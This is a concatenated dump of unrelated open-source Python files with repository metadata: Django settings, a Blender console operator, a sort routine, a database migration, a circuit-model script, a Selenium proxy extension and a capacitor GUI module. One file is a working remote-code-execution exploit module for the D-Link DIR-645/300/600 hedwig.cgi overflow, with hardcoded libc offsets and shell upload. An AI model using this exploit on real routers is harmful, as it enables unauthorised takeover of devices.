] | |
91c53302d52e9d5a99a4e0d0b685179371931b6d | cc08f8eb47ef92839ba1cc0d04a7f6be6c06bd45 | /Personal/Jaypur/Jaypur/settings.py | 76bd9d7c357d60980068b2b15d2475f763bef64f | [] | no_license | ProsenjitKumar/PycharmProjects | d90d0e7c2f4adc84e861c12a3fcb9174f15cde17 | 285692394581441ce7b706afa3b7af9e995f1c55 | refs/heads/master | 2022-12-13T01:09:55.408985 | 2019-05-08T02:21:47 | 2019-05-08T02:21:47 | 181,052,978 | 1 | 1 | null | 2022-12-08T02:31:17 | 2019-04-12T17:21:59 | null | UTF-8 | Python | false | false | 3,158 | py | """
Django settings for Jaypur project.
Generated by 'django-admin startproject' using Django 2.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '_c4#s_+@o6kx5@ej$9+n-1)-_1+0rqscbzrd()25q=f@=e7m34'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'app.apps.AppConfig',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'Jaypur.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
,
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'Jaypur.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
| [
"[email protected]"
] | |
2c5bad20f3963b0a05c987b18b93b70740c5217f | 543e4a93fd94a1ebcadb7ba9bd8b1f3afd3a12b8 | /maza/modules/exploits/routers/dlink/multi_hedwig_cgi_exec.py | cda6380b6efab9cd5609c5c1aeab67de8cb19247 | [
"MIT"
] | permissive | ArturSpirin/maza | e3127f07b90034f08ff294cc4afcad239bb6a6c3 | 56ae6325c08bcedd22c57b9fe11b58f1b38314ca | refs/heads/master | 2020-04-10T16:24:47.245172 | 2018-12-11T07:13:15 | 2018-12-11T07:13:15 | 161,144,181 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,810 | py | import struct
from maza.core.exploit import *
from maza.core.http.http_client import HTTPClient
class Exploit(HTTPClient):
__info__ = {
"name": "D-Link Hedwig CGI RCE",
"description": "Module exploits buffer overflow vulnerablity in D-Link Hedwig CGI component, "
"which leads to remote code execution.",
"authors": (
"Austin <github.com/realoriginal>", # routersploit module
),
"references": (
"http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008",
"http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000",
"http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt",
"https://www.exploit-db.com/exploits/27283/",
),
"devices": (
"D-Link DIR-645 Ver. 1.03",
"D-Link DIR-300 Ver. 2.14",
"D-Link DIR-600",
),
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
if self.check():
print_success("Target is vulnerable")
shell(self, architecture="mipsle", method="echo", location="/tmp",
echo_options={"prefix": "\\\\x"}, exec_binary="chmod 777 {0} && {0} && rm {0}")
else:
print_error("Target is not vulnerable")
def execute(self, cmd):
cmd = cmd.encode("utf-8")
libcbase = 0x2aaf8000
system = 0x000531FF
calcsystem = 0x000158C8
callsystem = 0x000159CC
shellcode = utils.random_text(973).encode("utf-8")
shellcode += struct.pack("<I", libcbase + system)
shellcode += utils.random_text(16).encode("utf-8")
shellcode += struct.pack("<I", libcbase + callsystem)
shellcode += utils.random_text(12).encode("utf-8")
shellcode += struct.pack("<I", libcbase + calcsystem)
shellcode += utils.random_text(16).encode("utf-8")
shellcode += cmd
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": b"uid=" + shellcode + b";"
}
data = {
utils.random_text(7): utils.random_text(7)
}
response = self.http_request(
method="POST",
path="/hedwig.cgi",
headers=headers,
data=data,
)
if response is None:
return ""
return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()
@mute
def check(self):
fingerprint = utils.random_text(10)
cmd = "echo {}".format(fingerprint)
response = self.execute(cmd)
if fingerprint in response:
return True
return False
| [
"[email protected]"
] | |
b84dd9230ccb462252288d436554e4655ed6d463 | 58a82d4b72e8c83d8c93a3d3639aa65fbdc9fcbd | /BCPrompt/bc_operators.py | a9acc39d4ec5b58e487e2b05b20c2289164e5737 | [] | no_license | 8Observer8/myblendercontrib | 4de9b880da56a909b3da19c732e32557ab48400b | 71aa26457c50622cf5646a7aa39fbe11491f3e7b | refs/heads/master | 2021-01-15T15:33:13.133667 | 2015-10-14T15:38:48 | 2015-10-14T15:38:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,961 | py | import bpy
from console_python import add_scrollback
from .bc_command_dispatch import (
in_scene_commands,
in_search_commands,
in_sverchok_commands,
in_core_dev_commands,
in_modeling_tools,
in_upgrade_commands,
in_bpm_commands,
in_fast_ops_commands)
history_append = bpy.ops.console.history_append
addon_enable = bpy.ops.wm.addon_enable
def print_most_useful():
content = '''\
for full verbose descriptor use -man
command | description
-----------+----------------
tt | tb | turntable / trackball nav.
cen | centers 3d cursor
cenv | centers 3d cursor, aligns views to it
cento | centers to selected
endswith! | copy current console line if ends with exclm.
x?bpy | search blender python for x
x?bs | search blenderscripting.blogspot for x
x?py | search python docs for x
x?se | search B3D StackExchange
x??se | regular StackExchange search
vtx, xl | enable or trigger tinyCAD vtx (will download)
ico | enables icon addon in texteditor panel (Dev)
123 | use 1 2 3 to select vert, edge, face
-img2p | enabled image to plane import addon
-or2s | origin to selected.
-dist | gives local distance between two selected verts
-gist -o x | uploads all open text views as x to anon gist.
-debug | dl + enable extended mesh index visualiser. it's awesome.
-----------+----------------------------------------------------------
-idxv | enable by shortcut name (user defined)
enable <named addon> | package name or folder name
v2rdim | sets render dimensions to current strip.
fc | fcurrent -> end.frame
'''
add_scrollback(content, 'OUTPUT')
class TextSyncOps(bpy.types.Operator):
bl_idname = "text.text_upsync"
bl_label = "Upsyncs Text from disk changes"
def execute(self, context):
text_block = context.edit_text
bpy.ops.text.resolve_conflict(resolution='RELOAD')
return{'FINISHED'}
class ConsoleDoAction(bpy.types.Operator):
bl_label = "ConsoleDoAction"
bl_idname = "console.do_action"
def execute(self, context):
m = bpy.context.space_data.history[-1].body
m = m.strip()
DONE = {'FINISHED'}
if any([
in_scene_commands(context, m),
in_search_commands(context, m),
in_sverchok_commands(context, m),
in_core_dev_commands(context, m),
in_modeling_tools(context, m),
in_upgrade_commands(context, m),
in_bpm_commands(context, m),
in_fast_ops_commands(context, m)
]):
return DONE
elif m == '-ls':
print_most_useful()
return DONE
elif m == 'cl':
bpy.ops.console.clear()
return DONE
return {'FINISHED'}
def register():
bpy.utils.register_module(__name__)
def unregister():
bpy.utils.unregister_module(__name__)
| [
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] | |
5d6ded4faf7566b8fb858f56738f9b733236abda | a3776dfa7a4bfd76ff7cb63ddb3f6d70483b89d2 | /python/Sort/BubbleSort.py | fe4c0e4f183df93e94e89a9a26fea609cdd7d9a2 | [] | no_license | x-jeff/Algorithm_Code | 9e3038d9504391e2bd52ddde1230f69953339ab8 | b0411bcc7a7ab674ceca73aeb1348d3241370817 | refs/heads/master | 2023-07-11T19:55:52.401814 | 2021-08-14T03:46:12 | 2021-08-14T03:46:12 | 293,771,649 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 321 | py | def bubbleSort(arr):
for i in range(1, len(arr)):
for j in range(0, len(arr)-i):
if arr[j] > arr[j+1]:
arr[j], arr[j + 1] = arr[j + 1], arr[j]
return arr
if __name__ == '__main__':
testlist = [17, 23, 20, 14, 12, 25, 1, 20, 81, 14, 11, 12]
print(bubbleSort(testlist)) | [
"[email protected]"
] | |
ac126a334e5c16ab0f0e7c96bd9e37e9401d058a | d0081f81996635e913b1f267a4586eb0bfd3dcd5 | /dataactcore/migrations/versions/001758a1ab82_remove_legal_entity_address_line3_from_.py | a17f33249deb510d2d5a9c4c694595932bedba00 | [
"CC0-1.0"
] | permissive | fedspendingtransparency/data-act-broker-backend | 71c10a6c7c284c8fa6556ccc0efce798870b059b | b12c73976fd7eb5728eda90e56e053759c733c35 | refs/heads/master | 2023-09-01T07:41:35.449877 | 2023-08-29T20:14:45 | 2023-08-29T20:14:45 | 57,313,310 | 55 | 36 | CC0-1.0 | 2023-09-13T16:40:58 | 2016-04-28T15:39:36 | Python | UTF-8 | Python | false | false | 994 | py | """Remove legal_entity_address_line3 from DetachedAwardFinancialAssistance
Revision ID: 001758a1ab82
Revises: 60830f0881a5
Create Date: 2018-03-09 10:50:38.640532
"""
# revision identifiers, used by Alembic.
revision = '001758a1ab82'
down_revision = '60830f0881a5'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade(engine_name):
globals()["upgrade_%s" % engine_name]()
def downgrade(engine_name):
globals()["downgrade_%s" % engine_name]()
def upgrade_data_broker():
### commands auto generated by Alembic - please adjust! ###
op.drop_column('detached_award_financial_assistance', 'legal_entity_address_line3')
### end Alembic commands ###
def downgrade_data_broker():
### commands auto generated by Alembic - please adjust! ###
op.add_column('detached_award_financial_assistance', sa.Column('legal_entity_address_line3', sa.TEXT(), autoincrement=False, nullable=True))
### end Alembic commands ###
| [
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] | |
367694bf22eedbb89985c70d2368890832e317f2 | 23d5370d1b4d889aba0c2bfccfe3fcc8bced7bf4 | /examples/RLC_example/test/RLC_IO_I_eval_sim.py | 7106cd0859cc1a4f13867be28def0f2e4708d138 | [
"MIT"
] | permissive | marcosfelt/sysid-neural-structures-fitting | 0cd21b4197b52ffe5ef78ac4045a431e202fdb05 | 80eda427251e8cce1d2a565b5cbca533252315e4 | refs/heads/master | 2022-12-06T18:45:21.365282 | 2020-09-03T18:32:16 | 2020-09-03T18:32:16 | 292,630,318 | 0 | 0 | MIT | 2020-09-03T17:01:34 | 2020-09-03T17:01:33 | null | UTF-8 | Python | false | false | 4,273 | py | import pandas as pd
import numpy as np
import torch
import matplotlib.pyplot as plt
import os
import sys
sys.path.append(os.path.join("..", ".."))
from torchid.iofitter import NeuralIOSimulator
from torchid.iomodels import NeuralIOModel
from common import metrics
if __name__ == '__main__':
dataset_type = 'id'
#dataset_type = 'val'
#model_type = '32step_noise'
model_type = '64step_noise'
# model_type = '1step_nonoise'
# model_type = '1step_noise'
plot_input = False
COL_T = ['time']
COL_X = ['V_C', 'I_L']
COL_U = ['V_IN']
COL_Y = ['I_L']
dataset_filename = f"RLC_data_{dataset_type}.csv"
df_X = pd.read_csv(os.path.join("data", dataset_filename))
time_data = np.array(df_X[COL_T], dtype=np.float32)
# y = np.array(df_X[COL_Y], dtype=np.float32)
x = np.array(df_X[COL_X], dtype=np.float32)
u = np.array(df_X[COL_U], dtype=np.float32)
y_var_idx = 1 # 0: voltage 1: current
y = np.copy(x[:, [y_var_idx]])
N = np.shape(y)[0]
Ts = time_data[1] - time_data[0]
n_a = 2 # autoregressive coefficients for y
n_b = 2 # autoregressive coefficients for u
n_max = np.max((n_a, n_b)) # delay
std_noise_V = 1.0 * 10.0
std_noise_I = 1.0 * 1.0
std_noise = np.array([std_noise_V, std_noise_I])
x_noise = np.copy(x) + np.random.randn(*x.shape) * std_noise
x_noise = x_noise.astype(np.float32)
y_noise = x_noise[:, [y_var_idx]]
# Initialize optimization
io_model = NeuralIOModel(n_a=n_a, n_b=n_b, n_feat=64)
io_solution = NeuralIOSimulator(io_model)
model_filename = f"model_IO_I_{model_type}.pkl"
io_solution.io_model.load_state_dict(torch.load(os.path.join("models", model_filename)))
# In[Validate model]
t_val_start = 0
t_val_end = time_data[-1]
idx_val_start = int(t_val_start//Ts)#x.shape[0]
idx_val_end = int(t_val_end//Ts)#x.shape[0]
n_val = idx_val_end - idx_val_start
u_val = np.copy(u[idx_val_start:idx_val_end])
y_val = np.copy(y[idx_val_start:idx_val_end])
y_meas_val = np.copy(y_noise[idx_val_start:idx_val_end])
time_val = time_data[idx_val_start:idx_val_end]
y_seq = np.zeros(n_a, dtype=np.float32) #np.array(np.flip(y_val[0:n_a].ravel()))
u_seq = np.zeros(n_b, dtype=np.float32 ) #np.array(np.flip(u_val[0:n_b].ravel()))
# Neglect initial values
# y_val = y_val[n_max:, :]
# y_meas_val = y_meas_val[n_max:, :]
# u_val = u_val[n_max:, :]
# time_val = time_val[n_max:, :]
y_meas_val_torch = torch.tensor(y_meas_val)
with torch.no_grad():
y_seq_torch = torch.tensor(y_seq)
u_seq_torch = torch.tensor(u_seq)
u_torch = torch.tensor(u_val)
y_val_sim_torch = io_solution.f_sim(y_seq_torch, u_seq_torch, u_torch)
err_val = y_val_sim_torch - y_meas_val_torch
loss_val = torch.mean((err_val)**2)
if dataset_type == 'id':
t_plot_start = 0.2e-3
else:
t_plot_start = 1.0e-3
t_plot_end = t_plot_start + 0.3e-3
idx_plot_start = int(t_plot_start//Ts)#x.shape[0]
idx_plot_end = int(t_plot_end//Ts)#x.shape[0]
# In[Plot]
y_val_sim = np.array(y_val_sim_torch)
time_val_us = time_val *1e6
if plot_input:
fig, ax = plt.subplots(2,1, sharex=True)
else:
fig, ax = plt.subplots(1, 1, sharex=True)
ax = [ax]
ax[0].plot(time_val_us[idx_plot_start:idx_plot_end], y_val[idx_plot_start:idx_plot_end], 'k', label='True')
ax[0].plot(time_val_us[idx_plot_start:idx_plot_end], y_val_sim[idx_plot_start:idx_plot_end], 'r--', label='Model simulation')
ax[0].legend(loc='upper right')
ax[0].grid(True)
ax[0].set_xlabel("Time ($\mu$s)")
ax[0].set_ylabel("Capacitor voltage $v_C$ (V)")
ax[0].set_ylim([-20, 20])
if plot_input:
ax[1].plot(time_val_us[idx_plot_start:idx_plot_end], u_val[idx_plot_start:idx_plot_end], 'k', label='Input')
#ax[1].legend()
ax[1].grid(True)
ax[1].set_xlabel("Time ($\mu$s)")
ax[1].set_ylabel("Input voltage $v_{in}$ (V)")
fig_name = f"RLC_IO_{dataset_type}_{model_type}.pdf"
fig.savefig(os.path.join("fig", fig_name), bbox_inches='tight')
R_sq = metrics.r_square(y_val, y_val_sim)
print(f"R-squared metrics: {R_sq}")
| [
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] | |
7de38a9ebf121bd2358964fca2221e14ee60c24a | b93446177b6ac10bd27582b1e9647f0adab7d3d4 | /pyVoodoo/ir.py | af3c8d637b9a9ac7f6a12bde7d1fe86473914bc8 | [
"BSD-3-Clause"
] | permissive | bossiernesto/pyVoodoo | 727f2666a656e8af7ed3d2c8ee4a2ea51f7b95f0 | 7be339ce05c909d0c3c2893ab1eaa2d18f335235 | refs/heads/master | 2021-04-09T17:16:46.984893 | 2017-01-31T22:11:29 | 2017-01-31T22:11:29 | 34,115,994 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 67 | py | class Node(tuple):
"""Base class for AST"""
__slots__ = []
| [
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] | |
2ad5195cb2531f382db1acaca896c6c212992811 | e63c1e59b2d1bfb5c03d7bf9178cf3b8302ce551 | /uri/uri_python/ad_hoc/p1089.py | 5016209f1dd88333f5f3c73bdab477d7dc2336d9 | [] | no_license | GabrielEstevam/icpc_contest_training | b8d97184ace8a0e13e1c0bf442baa36c853a6837 | 012796c2ceb901cf7aa25d44a93614696a7d9c58 | refs/heads/master | 2020-04-24T06:15:16.826669 | 2019-10-08T23:13:15 | 2019-10-08T23:13:15 | 171,758,893 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 366 | py | N = int(input())
while N != 0:
entry = input().split(" ")
picos = 0
aux_a = int(entry[N-2])
aux_b = int(entry[N-1])
for i in range(N):
if (aux_b < aux_a and aux_b < int(entry[i])) or (aux_b > aux_a and aux_b > int(entry[i])):
picos += 1
aux_a = aux_b
aux_b = int(entry[i])
print(picos)
N = int(input()) | [
"[email protected]"
] | |
1df8e317fea69f008dc5d5e32315bd51aa0fb43c | 5896da906bdcb1315881712a0baa52a706bbeb06 | /cursoemvideo/Atividades/exercicios/ex106.py | 3ebfa0d823d84edaa4ae159d58714aa44738c3d8 | [] | no_license | frederico-prog/python | 313b4c11347fb33f67d73dee89f3106f483a2333 | 6c3d3757944fcbf569e1114838f236a9329358bd | refs/heads/master | 2022-12-13T23:26:55.112797 | 2020-08-21T22:03:26 | 2020-08-21T22:03:26 | 272,381,728 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,125 | py | '''
FAÇA UM MINI-SISTEMA QUE UTILIZE O INTERECTIVE HELP DO PYTHON. O USUÁRIO VAI DIGITAR O COMANDO E O MANUAL VAI APARECER.
QUANDO O USUÁRIO DIGITAR A PALAVRA 'FIM', O PROGRAMA SE ENCERRARÁ.
OBS.: USE CORES.
'''
from time import sleep
c = (
'\033[m', # 0- sem cor
'\033[0;30;41m', # 1- cor vermelha
'\033[0;30;42m', # 2- cor verde
'\033[0;30;43m', # 3- cor amarela
'\033[0;30;44m', # 4- cor azul
'\033[0;30;45m', # 5- cor roxa
'\033[7;30m' # 6- branca
);
def ajuda(com):
titulo(f'Acessando o manual do comando \'{com}\'', 4)
print(c[6], end='')
help(comando)
print(c[0], end='')
sleep(2)
def titulo(msg, cor=0):
tam = len(msg) + 4
print(c[cor], end='')
print('~' * tam)
print(f' {msg}')
print('~' * tam)
print(c[0], end='')
sleep(1)
# PROGRAMA PRINCIPAL
comando = ''
while True:
titulo('SISTEMA DE AJUDA PyHELP', 2)
comando = str(input('Função ou Biblioteca > '))
if comando.upper() == 'FIM':
break
else:
ajuda(comando)
print('ATÉ LOGO!', 1)
| [
"[email protected]"
] | |
7a18d7edc350a9159863008804955748ffbeec6f | e262e64415335060868e9f7f73ab8701e3be2f7b | /.history/Test002/数据类型_20201205162718.py | 6bec763ca9a2bf6df3696d9f6db0124f17054d85 | [] | no_license | Allison001/developer_test | 6e211f1e2bd4287ee26fd2b33baf1c6a8d80fc63 | b8e04b4b248b0c10a35e93128a5323165990052c | refs/heads/master | 2023-06-18T08:46:40.202383 | 2021-07-23T03:31:54 | 2021-07-23T03:31:54 | 322,807,303 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 208 | py | fruits = ['orange', 'apple', 'pear', 'banana', 'kiwi', 'apple', 'banana']
# print(fruits.count("apple"))
# a = fruits.index("banana",4)
# print(a)
# fruits.reverse()
# print(fruits)
fruits.append("daka")
| [
"[email protected]"
] | |
2fd4937da743fc000cbedc14f31385020e365cac | c264153f9188d3af187905d846fa20296a0af85d | /Python/Python3网络爬虫开发实战/《Python3网络爬虫开发实战》随书源代码/proxy/selenium_chrome_auth.py | f9b9e55510c5325125459414bee6a67c7eb3fbed | [] | no_license | IS-OSCAR-YU/ebooks | 5cd3c1089a221759793524df647e231a582b19ba | b125204c4fe69b9ca9ff774c7bc166d3cb2a875b | refs/heads/master | 2023-05-23T02:46:58.718636 | 2021-06-16T12:15:13 | 2021-06-16T12:15:13 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,653 | py | from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import zipfile
ip = '127.0.0.1'
port = 9743
username = 'foo'
password = 'bar'
manifest_json = """
{
"version": "1.0.0",
"manifest_version": 2,
"name": "Chrome Proxy",
"permissions": [
"proxy",
"tabs",
"unlimitedStorage",
"storage",
"<all_urls>",
"webRequest",
"webRequestBlocking"
],
"background": {
"scripts": ["background.js"]
}
}
"""
background_js = """
var config = {
mode: "fixed_servers",
rules: {
singleProxy: {
scheme: "http",
host: "%(ip)s",
port: %(port)s
}
}
}
chrome.proxy.settings.set({value: config, scope: "regular"}, function() {});
function callbackFn(details) {
return {
authCredentials: {
username: "%(username)s",
password: "%(password)s"
}
}
}
chrome.webRequest.onAuthRequired.addListener(
callbackFn,
{urls: ["<all_urls>"]},
['blocking']
)
""" % {'ip': ip, 'port': port, 'username': username, 'password': password}
plugin_file = 'proxy_auth_plugin.zip'
with zipfile.ZipFile(plugin_file, 'w') as zp:
zp.writestr("manifest.json", manifest_json)
zp.writestr("background.js", background_js)
chrome_options = Options()
chrome_options.add_argument("--start-maximized")
chrome_options.add_extension(plugin_file)
browser = webdriver.Chrome(chrome_options=chrome_options)
browser.get('http://httpbin.org/get')
| [
"[email protected]"
] | |
ecf74664f5363c52e4790b600cfe87442802733c | 76efd7bde15c764d81b847c2f1d27776e90ec2ed | /imgauth/urls.py | 9e3bcaf4c6a05bdd033ed6d3d6fdce1b5c3a4914 | [] | no_license | ccsreenidhin/Image-Metadata-Analysis-ELA | e7e961f5d5724397081c9437c78e727577f449fe | 4bb24c3047dc59a81867c7c9cdb58bc0fc222358 | refs/heads/master | 2022-11-07T21:18:51.340625 | 2018-03-23T17:16:27 | 2020-06-13T08:02:49 | 271,966,669 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,033 | py | """imgauth URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url, include
from django.contrib import admin
from django.conf import settings
from django.conf.urls.static import static
urlpatterns = [
url(r'^admin/', admin.site.urls),
#url(r'^', include('imgaut.urls')),
]+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)
| [
"[email protected]"
] | |
221f6766e94a926edbc76bf1e3da59c333ccd8f6 | 42631b33be63821744ec85caf6ef49a6b1d189b0 | /VSRTorch/Models/video/__init__.py | f1c5cfea0869dbccaa6f876c2c5d088f6f37712f | [
"MIT"
] | permissive | AliceMegatron/VideoSuperResolution | c70e822764b29a01f3a7c035cfc10e3b31b9f6f4 | bfcf237ee7e412b688c7f5e094585bbaecffc1d0 | refs/heads/master | 2020-05-29T15:25:13.840222 | 2019-05-16T13:00:43 | 2019-05-16T13:00:43 | 189,219,950 | 1 | 0 | MIT | 2019-05-29T12:21:53 | 2019-05-29T12:21:52 | null | UTF-8 | Python | false | false | 240 | py | # Copyright (c): Wenyi Tang 2017-2019.
# Author: Wenyi Tang
# Email: [email protected]
# Update Date: 2019/4/3 下午5:10
import logging
_logger = logging.getLogger("VSR.VIDEO")
_logger.info("@LoSealL. Video related ops, nets...")
| [
"[email protected]"
] | |
101ccd2aec21b66c706af7a581d6bb1035636092 | abb614790bdf41c7db9d09dfdea4385f78c2be52 | /rtk-RQA/rtk/hardware/__gui/gtk/Capacitor.py | 936eb677804a46719f2a7e3d331f370599b11797 | [
"BSD-3-Clause"
] | permissive | codacy-badger/rtk | f981bb75aadef6aaeb5a6fa427d0a3a158626a2a | bdb9392164b0b32b0da53f8632cbe6e3be808b12 | refs/heads/master | 2020-03-19T02:46:10.320241 | 2017-10-26T20:08:12 | 2017-10-26T20:08:12 | 135,659,105 | 0 | 0 | null | 2018-06-01T02:43:23 | 2018-06-01T02:43:23 | null | UTF-8 | Python | false | false | 39,030 | py | #!/usr/bin/env python
"""
###################################################
Capacitor Package Component Specific Work Book View
###################################################
"""
# -*- coding: utf-8 -*-
#
# rtk.hardware.__gui.gtk.Capacitor.py is part of The RTK Project
#
# All rights reserved.
import sys
# Import modules for localization support.
import gettext
import locale
# Modules required for the GUI.
try:
import pygtk
pygtk.require('2.0')
except ImportError:
sys.exit(1)
try:
import gtk
except ImportError:
sys.exit(1)
try:
import gtk.glade
except ImportError:
sys.exit(1)
# Modules required for plotting.
import matplotlib # pylint: disable=E0401
from matplotlib.backends.backend_gtk import FigureCanvasGTK as FigureCanvas # pylint: disable=E0401
from matplotlib.figure import Figure # pylint: disable=E0401
# Import other RTK modules.
try:
import Configuration
import gui.gtk.Widgets as Widgets
except ImportError:
import rtk.Configuration as Configuration
import rtk.gui.gtk.Widgets as Widgets
__author__ = 'Andrew Rowland'
__email__ = '[email protected]'
__organization__ = 'ReliaQual Associates, LLC'
__copyright__ = 'Copyright 2007 - 2015 Andrew "weibullguy" Rowland'
try:
locale.setlocale(locale.LC_ALL, Configuration.LOCALE)
except locale.Error:
locale.setlocale(locale.LC_ALL, '')
_ = gettext.gettext
matplotlib.use('GTK')
class Inputs(gtk.Frame):
"""
The Work Book view for displaying all the attributes for a capacitor. The
attributes of a capacitor Work Book view are:
"""
dicQuality = {40: ["", "MIL-SPEC", _(u"Lower")],
41: ["", "M", _(u"Non-Established Reliability"),
_(u"Lower")],
42: ["", "S", "R", "P", "M", "L",
_(u"MIL-C-19978, Non-Established Reliability"),
_(u"Lower")],
43: ["", "S", "R", "P", "M", "L",
_(u"MIL-C-18312, Non-Established Reliability"),
_(u"Lower")],
44: ["", "S", "R", "P", "M", _(u"Lower")],
45: ["", "S", "R", "P", "M", _(u"Lower")],
46: ["", "T", "S", "R", "P", "M", "L",
_(u"MIL-C-5, Non-Established Reliability, Dipped"),
_(u"MIL-C-5, Non-Established Reliability, Molded"),
_(u"Lower")],
47: ["", "MIL-C-10950", _(u"Lower")],
48: ["", "S", "R", "P", "M", "L",
_(u"MIL-C-11272, Non-Established Reliability"),
_(u"Lower")],
49: ["", "S", "R", "P", "M", "L",
_(u"MIL-C-11015, Non-Established Reliability"),
_(u"Lower")],
50: ["", "S", "R", "P", "M",
_(u"Non-Established Reliability"), _(u"Lower")],
51: ["", "D", "C", "S", "B", "R", "P", "M", "L",
_(u"Lower")],
52: ["", "S", "R", "P", "M", "L",
_(u"MIL-C-3965, Non-Established Reliability"),
_(u"Lower")],
53: ["", "S", "R", "P", "M",
_(u"Non-Established Reliability"), _(u"Lower")],
54: ["", "MIL-SPEC", _(u"Lower")],
55: ["", "MIL-SPEC", _(u"Lower")],
56: ["", "MIL-SPEC", _(u"Lower")],
57: ["", "MIL-SPEC", _(u"Lower")],
58: ["", "MIL-SPEC", _(u"Lower")]}
dicSpecification = {40: ["", "MIL-C-25 (CP)", "MIL-C-12889 (CA)"],
41: ["", "MIL-C-11693 (CZ/CZR)"],
42: ["", "MIL-C-14157 (CPV)", "MIL-C-19978 (CQ/CQR)"],
43: ["", "MIL-C-18312 (CH)", "MIL-C-39022 (CHR)"],
44: ["", "MIL-C-55514 (CFR)"],
45: ["", "MIL-C-83421 (CRH)"],
46: ["", "MIL-C-5 (CM)", "MIL-C-39001 (CMR)"],
47: ["", "MIL-C-10950 (CB)"],
48: ["", "MIL-C-11272 (CY)", "MIL-C-23269 (CYR)"],
49: ["", "MIL-C-11015 (CK)", "MIL-C-39014 (CKR)"],
50: ["", "MIL-C-20 (CC/CCR)", "MIL-C-55681 (CDR)"],
51: ["", "MIL-C-39003 (CSR)"],
52: ["", "MIL-C-3965 (CL)", "MIL-C-39003 (CLR)"],
53: ["", "MIL-C-39016 (CU and CUR)"],
54: ["", "MIL-C-62 (CE)"],
55: ["", "MIL-C-81 (CV)"],
56: ["", "MIL-C-14409 (PC)"],
57: ["", "MIL-C-92 (CT)"],
58: ["", "MIL-C-23183 (CG)"]}
dicSpecSheet = {40: [["", u"85\u00B0C", u"125\u00B0C"],
["", u"85\u00B0C"]],
41: [["", u"85\u00B0C", u"125\u00B0C", u"150\u00B0C"]],
42: [["", u"65\u00B0C", u"85\u00B0C", u"125\u00B0C"],
["", u"65\u00B0C", u"85\u00B0C", u"125\u00B0C",
u"170\u00B0C"]],
43: [["", u"85\u00B0C", u"125\u00B0C"],
["", u"85\u00B0C", u"125\u00B0C"]],
44: [["", u"85\u00B0C", u"125\u00B0C"]],
45: [["", u"125\u00B0C"]],
46: [["", u"70\u00B0C", u"85\u00B0C", u"125\u00B0C",
u"150\u00B0C"], ["", u"125\u00B0C", u"150\u00B0C"]],
47: [["", u"85\u00B0C", u"150\u00B0C"]],
48: [["", u"125\u00B0C", u"200\u00B0C"],
["", u"125\u00B0C"]],
